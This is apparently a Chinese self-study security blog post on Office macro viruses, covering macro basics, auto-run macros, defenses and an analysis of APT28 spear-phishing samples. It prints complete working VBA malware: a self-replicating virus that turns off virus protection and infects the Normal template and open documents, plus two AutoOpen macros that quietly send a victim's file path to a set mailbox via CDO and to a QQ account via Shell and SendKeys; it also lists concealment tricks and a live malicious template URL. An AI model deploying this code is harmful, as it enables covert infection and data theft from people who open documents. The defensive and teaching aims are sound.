這是做者的網絡安全自學教程系列,主要是關於安全工具和實踐操做的在線筆記,特分享出來與博友們學習,但願您們喜歡,一塊兒進步。前文分享了利用永恆之藍漏洞加載WannaCry勒索病毒,實現對Win7文件加密的過程,並講解WannaCry勒索病毒的原理。這篇文章將講解宏病毒相關知識,它仍然活躍於各個APT攻擊樣本中,本文包括宏病毒基礎原理、防護措施、自發郵件及APT28樣本分析。基礎性文章,但願對您有所幫助。php
做者做爲網絡安全的小白,分享一些自學基礎教程給你們,主要是關於安全工具和實踐操做的在線筆記,但願您們喜歡。同時,更但願您能與我一塊兒操做和進步,後續將深刻學習網絡安全和系統安全知識並分享相關實驗。總之,但願該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!若是文章對您有幫助,將是我創做的最大動力,點贊、評論、私聊都可,一塊兒加油喔~html
文章目錄
PS:本文參考了github、安全網站和參考文獻中的文章(詳見參考文獻),並結合本身的經驗和實踐進行撰寫,也推薦你們閱讀參考文獻。git
做者的github資源:
軟件安全:https://github.com/eastmountyxz/Software-Security-Course
其餘工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
漏洞利用:https://github.com/eastmountyxz/Macro-Virus
github
聲明:本人堅定反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡須要咱們共同維護,更推薦你們瞭解它們背後的原理,更好地進行防禦。正則表達式
前文學習:
[網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網絡安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透解析及登陸加密入門筆記
[網絡安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網絡安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網絡安全自學篇] 五.IDA Pro反彙編工具初識及逆向工程解密實戰
[網絡安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網絡安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網絡安全自學篇] 八.Web漏洞及端口掃描之Nmap、ThreatScan和DirBuster工具
[網絡安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、文件屬性
[網絡安全自學篇] 十.論文之基於機器學習算法的主機惡意代碼
[網絡安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網絡安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網絡安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及數據流追蹤和圖像抓取(二)
[網絡安全自學篇] 十四.Python攻防之基礎常識、正則表達式、Web編程和套接字通訊(一)
[網絡安全自學篇] 十五.Python攻防之多線程、C段掃描和數據庫編程(二)
[網絡安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防禦
[網絡安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網絡安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網絡安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網絡安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網絡安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網絡安全自學篇] 二十二.Web滲透之網站信息、域名信息、端口信息、敏感信息及指紋信息收集
[網絡安全自學篇] 二十三.基於機器學習的惡意請求識別及安全領域中的機器學習
[網絡安全自學篇] 二十四.基於機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防護初探
[網絡安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令行調用
[網絡安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求參數設置(一)
[網絡安全自學篇] 二十八.文件上傳漏洞和Caidao入門及防護原理(一)
[網絡安全自學篇] 二十九.文件上傳漏洞和IIS6.0解析漏洞及防護原理(二)
[網絡安全自學篇] 三十.文件上傳漏洞、編輯器漏洞和IIS高版本漏洞及防護(三)
[網絡安全自學篇] 三十一.文件上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網絡安全自學篇] 三十二.文件上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網絡安全自學篇] 三十三.文件上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網絡安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啓動計算機
[網絡安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網絡安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟件自啓動劫持
[網絡安全自學篇] 三十七.Web滲透提升班之hack the box在線靶場註冊及入門知識(一)
[網絡安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網絡安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網絡安全自學篇] 四十.phpMyAdmin 4.8.1後臺文件包含漏洞復現及詳解(CVE-2018-12613)
[網絡安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網絡安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網絡安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網絡安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網絡安全自學篇] 四十五.病毒詳解及批處理病毒製做(自啓動、修改密碼、定時關機、藍屏、進程關閉)
[網絡安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行文件簽名復現
[網絡安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書籤名及HTTPS網站劫持
[網絡安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、註冊表及黑客經常使用DOS命令
[網絡安全自學篇] 四十九.Procmon軟件基本用法及文件進程、註冊表查看
[網絡安全自學篇] 五十.虛擬機基礎之安裝XP系統、文件共享、網絡快照設置及Wireshark抓取BBS密碼
[網絡安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網絡安全自學篇] 五十二.Windows漏洞利用之棧溢出原理和棧保護GS機制
[網絡安全自學篇] 五十三.Windows漏洞利用之Metasploit實現棧溢出攻擊及反彈shell
[網絡安全自學篇] 五十四.Windows漏洞利用之基於SEH異常處理機制的棧溢出攻擊及shell提取
[網絡安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP並獲取Shell
[網絡安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網絡安全自學篇] 五十七.PE文件逆向之什麼是數字簽名及Signtool簽名工具詳解(一)
[網絡安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網絡安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網絡安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和經常使用滲透命令
[網絡安全自學篇] 六十一.PE文件逆向之數字簽名詳細解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網絡安全自學篇] 六十二.PE文件逆向之PE文件解析、PE編輯工具使用和PE結構修改(三)
[網絡安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網絡安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網絡安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網絡安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網絡安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恆之藍及Win7勒索加密
[網絡安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒解析
算法
前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差別備份及Caidao利器
[滲透&攻防] 四.詳解MySQL數據庫攻防及Fiddler神器分析數據包
shell
一.什麼是宏
1.基礎概念
宏(Macro)是一種批量處理的稱謂,是指能組織到一塊兒做爲獨立的命令使用的一系列Word命令,能夠實現任務執行的自動化,簡化平常的工做。Microsoft Office使用Visual Basic for Applications(VBA)進行宏的編寫。數據庫
你們可能接觸到的宏並很少,但若是常用Word文檔時,可能會遇到宏,好比國家天然科學基金申請,或者做者以前分享的宏技巧。文章以下:
[Office] WPS Excel經過添加宏實現多張表格合併
[黑科技] WPS經過VB宏函數實現自編號功能
編程
注意,在Office中能夠直接使用Word的宏函數,而WPS須要安裝相關的軟件後才能使用。打開WPS Word以下圖所示,宏是不能使用的。瀏覽器
2.安裝配置
這時須要下載VBA for WPS並安裝才能使用。下載安裝以下圖所示:
下載地址:https://github.com/eastmountyxz/Macro-Virus
安裝完後能夠設置宏函數,以下圖所示:
點擊"宏",而後"建立"宏函數,以下圖所示,取名爲test。
建立後以下圖所示,能夠看到是VB代碼進行編寫的。
代碼示例以下:
Sub test() ' ' test Macro ' Dim sLineNum3 As String '行號(文字) Dim nLineNum '行號(數值) Dim i As Long Title = "輸入編號信息" a1 = "請輸入總編號開始號:" b1 = InputBox(a1, Title) End Sub
WPS能夠保存爲帶宏函數的格式,以下圖所示。
而後運行宏函數以下圖所示,點擊"運行"便可,以下圖所示。
運行結果以下圖所示,彈出界面輸入:
3.錄製新宏案例
第一步,下降宏的安全性。
宏的默認安全性很是高,有時會致使宏程序不會自動執行,咱們能夠修改下降其安全性。
第二步,設置字體隱藏。
假設咱們如今有這樣一個需求,要將文檔中的內容隱藏。怎麼作呢?傳統方法是全選文字,而後設置字體隱藏,以下圖所示。
若是須要查看文字再進行還原,這些小技巧每每會隱藏在病毒或木馬中。那麼,咱們是否能夠將這隱藏和還原兩個操做用兩個快捷鍵關聯起來呢?下次再進行相關操做時,會變得更加簡潔。
第三步,點擊錄製新宏。
第四步,將剛纔的操做執行一遍,全選文字而後隱藏,而後點擊中止錄製。
此時,能夠看到咱們新建立的宏MacroHide。
第五步,再錄製一個顯示的新宏MacroShow。
顯示以後咱們中止錄製。
第六步,綁定快捷鍵。
若是是在Office中,能夠直接選擇對應的快捷鍵,但WPS設置不一樣。
WPS設置以下:點擊「文件」->「選項」,在「選項」界面最左側找到並點擊「自定義功能區」,選擇「自定義」按鈕。
設置快捷鍵以下:
- MacroHide對應Ctrl+Shift+H
- MacroShow對應Ctrl+Shift+S
此時,功能已經實現,當咱們按下「Ctrl+Shift+H」時,文字隱藏,按下「Ctrl+Shift+S」時文字顯示。
固然宏能夠更加複雜,接下來咱們將介紹。同時,怎麼去查看宏代碼呢?經過VB編輯器可以查看宏代碼,以下圖所示。
在Normal下的模塊=>NewMacros有咱們剛剛編輯的兩個宏。
該代碼的核心內容以下:
- Selection.WholeStory 全選功能
- Selection.Font 字體設置
- Hidden = 1 隱藏屬性設置爲True
Sub MacroHide() ' ' MacroHide Macro ' 宏由 xiuzhang 錄製,時間: 2020/04/20 ' Selection.WholeStory With Selection.Font .Underline = wdUnderlineNone .EmphasisMark = wdEmphasisMarkNone .Hidden = 0 .Shadow = 0 .Outline = 0 .Emboss = 0 .Engrave = 0 .Scaling = 100 .Scaling = 100 .Hidden = 1 .Hidden = 1 End With End Sub
二.宏病毒
1.宏病毒基礎
那麼,什麼又是宏病毒呢?
宏病毒是一種寄存在文檔或模板的宏中的計算機病毒,存在於數據文件或模板中(字處理文檔、數據表格、數據庫、演示文檔等),使用宏語言編寫,利用宏語言的功能將本身寄生到其餘數據文檔。
最先的時候,人們認爲數據文檔是不可能帶有病毒的,由於數據文檔不包含指令,直到宏病毒出現才改變你們的見解。當咱們打開這樣的文檔,其中的宏就會被執行,因而宏病毒就會被激活,轉移到計算機上,並駐留在Normal模板上。今後之後,全部自動保存的文檔都會「感染」上這種宏病毒,並且若是其餘用戶打開了感染病毒的文檔,宏病毒又會轉移到他的計算機上。
那麼,宏病毒又如何得到這些控制權呢?
只有拿到控制前以後宏病毒才能進行傳播。它和Office的特性相關,Office支持一些自動執行的宏,若是將病毒代碼放到自動執行的宏中,Word打開時會給病毒傳播創造條件。
利用自動執行宏將病毒代碼寫在宏匯中,因爲這些宏會自動執行,從而獲取控制權。
(1) WORD
- AutoOpen:打開Word文檔
- AutoClose:關閉Word文檔
- AutoExec:打開Word程序(Word文檔和Word程序區別)
- AutoExit:退出Word程序
- AutoNew:新建宏
(2) EXCEL
- Auto_Open
- Auto_Close
- Auto_Activate
- Auto_Deactivate
(3) Office97/2000
- Document_Open
- Document_Close
- Document_New
2.自動宏案例
咱們經過VB編輯器增長宏代碼,定義了五個自動宏。
- 第一個是新建文件:AutoNew
- 第二個是退出程序:AutoExit
- 第三個關閉文檔:AutoClose
- 第四個打開文檔:AutoExec
- 第五個打開程序:AutoExec
注意,程序指WPS或Office,一個程序能夠打開或建立多個文檔,他們存在必定區別。一樣,它們的權限也有區別。
代碼以下:
Sub AutoOpen() MsgBox "您好,您打開了Word文檔!", 0, "宏病毒測試" End Sub Sub AutoExec() MsgBox "您好,您打開了Word程序!", 0, "宏病毒測試" End Sub Sub AutoNew() MsgBox "您好,您選擇了新建文件!", 0, "宏病毒測試" End Sub Sub AutoExit() MsgBox "歡迎下次光臨!", 0, "宏病毒測試" End Sub Sub AutoClose() MsgBox "下次還要來哦!", 0, "宏病毒測試" End Sub Sub MyFirstVBAProcedure() Dim NormProj MsgBox "歡迎光臨XXXXXX安全實驗室!", 0, "宏病毒測試" Set NormProj = NormalTemplate.VBProject MsgBox NormProj.Name, 0, "模塊文件名" '顯示模板文件的名字 With Assistant.NewBalloon '調出助手 .Icon = msoIconAlert .Animation = msoAnimationGetArtsy .Heading = "Attention,Please!" .Text = "Today I turn into a martian!" .Show End With End Sub
當咱們打開Word時,會提示咱們安全警告,選擇「啓用宏」。
此時會提示一個打開Word文檔的對話框,表示AutoOpen宏自啓動。
當咱們關閉程序會提示以下對話框。
若是咱們想要查看宏的具體定義,能夠查看定義的函數,以下圖所示,也能夠在工具欄中選擇VB編輯器查看代碼。
當咱們執行某個函數,會有對應的執行效果。好比彈出「宏病毒測試」對話框。
你可能會疑惑,爲何只彈出了兩個對話框呢?
由於宏包括兩種類型——局部宏和全局宏。而退出Word程序和進入Word程序不是當前文檔能定義的。其餘三個宏沒法起到做用,咱們須要將它們複製到Normal模塊中才能運行。
3.宏病毒感染
在Word和其餘微軟Office系列辦公軟件中,宏分爲兩種。
- 內建宏:局部宏,位於文檔中,對該文檔有效,如文檔打開(AutoOpen)、保存、打印、關閉等
- 全局宏:位於office模板中,爲全部文檔所共用,如打開Word程序(AutoExec)
宏病毒的傳播路線以下:
- 單機:單個Office文檔 => Office文檔模板 => 多個Office文檔(文檔到模塊感染)
- 網絡:電子郵件居多
首先Office文檔被感染病毒,當文檔打開會執行自動宏,若是宏被執行,它會去檢測當前模板是否被感染病毒,若是沒有被感染,它會將釋放自身的病毒代碼。當模板被感染以後,系統中任何一個文檔被打開,都會執行模板中的病毒,宏病毒進行傳播。
宏病毒的感染方案就是讓宏在這兩類文件之間互相感染,即數據文檔、文檔模板。
下面是老師課程的示例圖。
注意,宏代碼是能夠調試的。
完整代碼以下:
Sub test() 'On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False '以上是病毒基本的自我保護措施 Set Doc = ActiveDocument.VBProject.VBComponents '取當前活動文檔中工程組件集合 Set Tmp = NormalTemplate.VBProject.VBComponents '取Word默認模板中工程組件集合 Const ExportSource = "c:\jackie.sys" Const VirusName = "AIGTMV1" '該字符串至關於一個病毒感染標誌 Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource '將當前病毒代碼導出到c:\jackie.sys文件保存 For i = 1 To Tmp.Count If Tmp(i).Name = VirusName Then TmpInstalled = 1 '檢查模板是否已經被感染病毒 Next i For j = 1 To Doc.Count If Doc(j).Name = VirusName Then DocInstalled = 1 '檢查當前活動文檔是否已被感染病毒 Next j If TmpInstalled = 0 Then '若是模板沒有被感染,對其進行感染 Tmp.Import ExportSource '從c:\jackie.sys將病毒導入模板 NormalTemplate.Save '自動保存模板,以避免引發用戶懷疑 End If If DocInstalled = 0 Then '若是當前活動文檔沒有被感染 Doc.Import ExportSource '從c:\jackie.sys將病毒導入當前活動文檔 ActiveDocument.SaveAs ActiveDocument.FullName '自動保存當前活動文檔 End If MsgBox "Word instructional macro by jackie", 0, "Word.APMP" End Sub
宏病毒也能夠經過網絡進行傳播,譬如電子郵件。
- Mellisa病毒:自動往OutLook郵件用戶地址簿中的前50位用戶發送病毒副本
- 「叛逃者」病毒:也集成了感染Office文檔的宏病毒感染功能,而且能夠經過OutLook發送病毒副本
三.宏病毒的自我保護與防護
宏病毒的自我保護主要包括三種方法:
(1) 禁止提示信息
On Error Resume Next 若是發生錯誤,不彈出出錯窗口,繼續執行下面語句
Application.DisplayAlerts = wdAlertsNone 不彈出警告窗口
Application.DisplayStatusBar = False 不顯示狀態欄,以避免顯示宏的運行狀態
Options.VirusProtection = False 關閉病毒保護功能,運行前若是包含宏,不提示
…
(2) 屏蔽命令菜單,不容許查看宏
- 經過特定宏定義
Sub ViewVBCode() MsgBox "Unexcpected error",16 End Sub
ViewCode:該過程和ViewVBCode函數同樣,若是用戶按工具欄上的小圖標就會執行這個過程。
- Disable或者刪除特定菜單項
用來使「工具—宏」菜單失效的語句
CommandBars(「Tools」).Controls(16).Enabled = False
(3) 隱藏宏的真實病毒代碼
在「自動宏」中,不包括任何感染或破壞的代碼,但包含了建立、執行和刪除新宏(實際進行感染和破壞的宏)的代碼;將宏代碼字體顏色設置成與背景同樣的白色等。
宏病毒的防護措施包括:
- 一旦發現計算機Office軟件打開後彈出系統警告框,而且沒法「另存爲」,就表示該文件已感染宏病毒,此時不能再打開其餘文件,不然病毒也會感染,應立刻關閉刪除該文件。若文件重要不能刪除,則需用殺毒軟件全盤掃面,處理感染文件。
- 開啓禁用宏進行防止再次感染病毒。在「受信任位置」中,刪除「可靠來源」列表框中的不安全來源,根據實際狀況設置是否信任全部安裝的加載項和模板,設置宏的安全性。
- 安裝殺毒軟件,打全系統補丁是預防計算機病毒的基本措施,固然也適用於宏病毒,除此這些常規手段以外,宏病毒還有專門的防治措施。
- 在線沙箱檢測文檔是否宏病毒。
四.案例:CDO自發郵箱
接下來咱們製做一個宏,當對方打開文檔時就知道該文檔在對方電腦存儲的具體路徑。常見方法包括:
- 郵件組件,如CDO組件
- 遠程腳本
這裏採用CDO自發郵件實現。經過Word VB編寫腳本,設置文檔打開時運行,利用CDO發送電子郵件將文件的路徑和名字發送到指定郵箱中。步驟以下:
- 利用AutoOpen執行並打開文檔時運行
- 利用WordObj.ActiveDocument獲取文件信息
- 利用CDO實現電子郵件實現信息傳遞
參考文獻:
宏病毒+使用CDO自動發郵件 - 良月廿七
word宏病毒經過郵件獲取路徑和文件名 - Braylon1002
宏的基本概念與使用 - WHU MOOC
宏&一個簡單的宏病毒示例 - Erio
定義的宏函數爲AutoOpen,以下圖所示:
核心代碼以下所示:
完整代碼以下,包括獲取文件夾路徑、定義郵件地址、添加CDO庫、設置微軟服務器、CDO郵件參數設置、發送數據
Sub AutoOpen() ' AutoOpen宏 ' By: CSDN Eastmount 2020-04-21 ' 獲取文件夾路徑 Dim WordObj As Object Dim Doc As Object Set WordObj = GetObject(, "Word.Application") Set Doc = WordObj.ActiveDocument MsgBox (Doc.Path) ' 定義郵件地址 Const from1 = "152xxxxxxxx@163.com" Const to1 = "xxxxxxxxxx@qq.com" Const password = "xxxxxxxxxx" ' 添加CDO庫 Set CDO = CreateObject("CDO.Message") CDO.from = from1 CDO.to = to1 CDO.Subject = Doc.Name CDO.Textbody = Doc.Path ' 微軟服務器網址 MsgBox ("發送郵件") Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/" With CDO.Configuration.Fields .Item(proxyUrl & "sendusing") = 2 '發送端口 .Item(proxyUrl & "smtpserver") = "smtp.163.com" 'SMTP服務器地址 .Item(proxyUrl & "smtpserverport") = 25 'SMTP服務器端口 .Item(proxyUrl & "smtpauthenticate") = 1 '是否開啓用戶名密碼驗證 .Item(proxyUrl & "sendusername") = from1 '發送方郵箱名稱 .Item(proxyUrl & "sendpassword") = password '發送方郵箱密碼 .Item(proxyUrl & "smtpusessl") = True '是否使用ssl協議 .Item(proxyUrl & "smtpconnectiontimeout") = 60 '時延 .Update End With ' 發送數據 CDO.Send Set CDO = Nothing MsgBox ("成功!") End Sub
當test04.doc文件打開時,它會自動運行,其結果以下圖所示:
接着對話框提示發送郵件。
最終郵件經過宏病毒發送成功。
下圖可見,成功將Word穩定打開的路徑地址發送到了目標郵箱,若是宏病毒再獲取更詳細的信息或文件,是否也能發送到指定郵箱呢?這樣的惡意代碼仍須要重視。
注意事項:
(1) 若是在撰寫宏病毒過程當中,出現「缺乏:列表分隔符或)」,咱們須要進行調試及修改。
(2) 若是提示「郵件沒法發送到SMTP服務器,傳輸錯誤代碼爲 0x80040217。服務器響應爲 not available」,則須要開啓STMP受權。
CDO發送郵件時須要開啓郵件的stmp受權代理,網易郵箱163設置方法以下圖所示:
若是騰訊郵箱要開啓SMTP/POP3服務,則將生成的受權碼看成郵箱登錄密碼來進行郵件發送,注意設置的是受權碼而不是密碼。
(3) 若是wps報429 ActiveX不能建立對象 ,則解決方法參考:http://www.javashuo.com/article/p-pgupeajk-ep.html
五.案例:QQ發送信息
接着經過QQ發送信息來製做宏病毒,並獲取對方電腦存儲的具體路徑。具體流程:
- 獲取文件路徑
- 將路徑複製至剪貼板
- 發送QQ消息
- 經過sendkeys輸入ctrl+V發送粘貼內容
注意,騰訊WebQQ中止運營了,且很差獲取QQ的聊天窗口句柄,才採用了該方法。該部分主要參考師弟的代碼,再次感謝。
完整宏代碼以下:
Sub AutoOpen() ' 獲取文件路徑 DocPath = ActiveDocument.Path DocName = ActiveDocument.Name Text1 = "DocPath:" + DocPath Text2 = "DocName:" + DocName Result = Text1 + Text2 MsgBox (Result) ' 將內容送入剪貼板 With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}") .SetText Result .PutInClipboard End With ' 發送QQ消息 Shell "cmd /c start tencent://Message/?Uin=QQ號碼&weName=qzone.qq.com & Menu=yes" Dim t As Single t = Timer Do DoEvents Loop While Timer - t < 2 '擱置2s ' 粘貼 SendKeys "^v" SendKeys "{ENTER}" SendKeys "{ENTER}" SendKeys "^{ENTER}" End Sub
運行代碼以下,獲取了Word文檔的路徑。
此時內容複製至剪貼板,若是輸入Ctrl+V,輸出內容以下:
經過下面的命令能夠直接打開某個QQ的窗口。
- cmd /c start tencent://Message/?Uin=QQ號碼&weName=qzone.qq.com & Menu=yes
最終當咱們打開Word文檔,它會執行自動代碼,並向某個QQ號自動發送信息,以下圖所示:
六.APT攻擊中的宏病毒
最後分享先知社區關於APT28樣本的宏病毒分析,和做者的這篇文章基礎知識很是相關。若是該部分有不當的地方,能夠提醒我刪除,謝謝。
參考文獻:APT28樣本分析之宏病毒分析
APT28組織是一個與ELS有關的高級攻擊團伙,本次分析的是該團伙使用的宏病毒,全部資料均來自互聯網。好比,2018年10月到11月OZ外交處理事務組織的魚叉郵件(paloalto),2017年7月到8月酒店行業的魚叉郵件(Fireeye),2017年10月MG研究機構的魚叉郵件(cisco)。
1.OZ魚叉郵件
- 文件名稱:crash list(Lion Air Boeing 737).docx
- SHA-256 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
- 建立時間:2018:09:11 04:22:00Z
- 文件大小:32.9 KB (33,775 字節)
- 基本方法
打開文檔會進行遠程模板加載,使用這種攻擊首先初始文件不會有明顯的惡意代碼,而且能夠收集受害者的IP,一旦攻擊成功,就關閉服務器,難以追蹤。
首先,遠程模板的位置 http://188.241.58.170/live/owa/office.dotm。注意,在分析惡意樣本時,千萬別訪問這些遠程連接或文件,極可能中病毒或成爲肉雞。
經過宏代碼分析,發現其沒有進行混淆工做,可是此次使用AutoClose,只有文檔關閉的時候,惡意代碼纔會執行。從而會繞過一些不關閉文檔的沙箱檢測。
這次宏文件一共會建立兩個文件,以下所示,分別是從 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出來使用base64編碼的惡意文件。
- Environ(「APPDATA」) 「\MSDN」 「~msdn」
- Environ(「TEMP」) 「~temp.docm」
選擇UserForm1窗體右鍵保存後,能夠看到裏面通過base64編碼的惡意文件。
將msdn和temp.docm寫入後開始加載temp.docm,再運行temp.docm的Module1.Proc1。
最後能夠看到經過shell運行釋放exe。
2.酒店行業魚叉郵件
- 文件名稱:Hotel_Reservation_Form.doc
- SHA-256 a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
- 建立時間:2017:07:03 05:33:00Z
- 文件大小:76.7 KB (78,600 字節)
- 基本方法
針對特定的攻擊目標對內容進行了定製化處理,樣本使用WMI調用
rundll32.exe啓動。
首先,樣本運行完以下,能夠看到針對特定的攻擊目標對內容進行了特定的定製化。
分析宏代碼,發現宏代碼是加密過的。
解密能夠看到三個函數,攻擊者並無作太多的混淆,而是將關鍵的PE文件BASE64編碼放到XML文件中,包括:
- AutoOpen()
- DecodeBase64(base64)
- Execute()
獲取指定xml節點的信息。
最後在docProps/app.xml中發現了這個base64編碼的文本。
以後將base64文本文件解碼。
解密後爲一個PE文件。
發現將樣本放到APPDATA環境變量的目錄下,文件名爲user.dat,最後使用了WMI調用rundll32.exe啓動。
3.研究機構魚叉郵件
- 文件名稱:Conference_on_Cyber_Conflict.doc
- SHA-256 e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
- 建立時間:2017:10:03 01:36:00
- 文件大小:333 KB (341,504 字節)
- 基本方法
針對特定的攻擊目標對內容進行了定製化處理,樣本base64解碼,設置bat腳本並啓動。
樣本運行完以下,能夠看到針對特定的攻擊目標對內容進行了特定的定製化。
對宏代碼進行了加密,解密能夠看到三個函數,攻擊者並無作太多的混淆,而是將關鍵的可執行文件分散放編碼放到文件屬性中。
- AutoOpen()
- DecodeBase64(base64)
- Execute()
將base64數據放到了word的內置屬性中。
合併獲取的編碼值並解碼。
最後設置bat腳本,而後啓動
七.總結
寫到這裏,這篇宏病毒基礎性文章就介紹結束了,包括入門基礎、防護措施、自發郵件及APT28樣本分析,但願對您有所幫助。接下來做者還會繼續深刻分析宏病毒,並結合實例和防護進行講解,也推薦你們閱讀參考文獻大佬們的文章。繼續加油~
這篇文章中若是存在一些不足,還請海涵。做者做爲網絡安全初學者的慢慢成長路吧!但願將來能更透徹撰寫相關文章。同時很是感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知本身很菜,得努力前行。
歡迎你們討論,是否以爲這系列文章幫助到您!任何建議均可以評論告知讀者,共勉。
(By:Eastmount 2020-04-21 晚上11點寫於貴陽 http://blog.csdn.net/eastmount/ )
參考文獻:
[1] 實驗室小夥伴們的分享、《軟件安全》課程實驗(詳見網易雲課程WHU)
[2] 宏的基本概念與使用 - WHU MOOC
[3] 宏病毒+使用CDO自動發郵件 - 良月廿七
[4] word宏病毒經過郵件獲取路徑和文件名 - Braylon1002
[5] 宏&一個簡單的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28樣本分析之宏病毒分析 - 先知社區
[8] 宏病毒研究2——實戰研究篇 - i春秋老師 icq5f7a075d
[9] [Office] WPS Excel經過添加宏實現多張表格合併
[10] [黑科技] WPS經過VB宏函數實現自編號功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html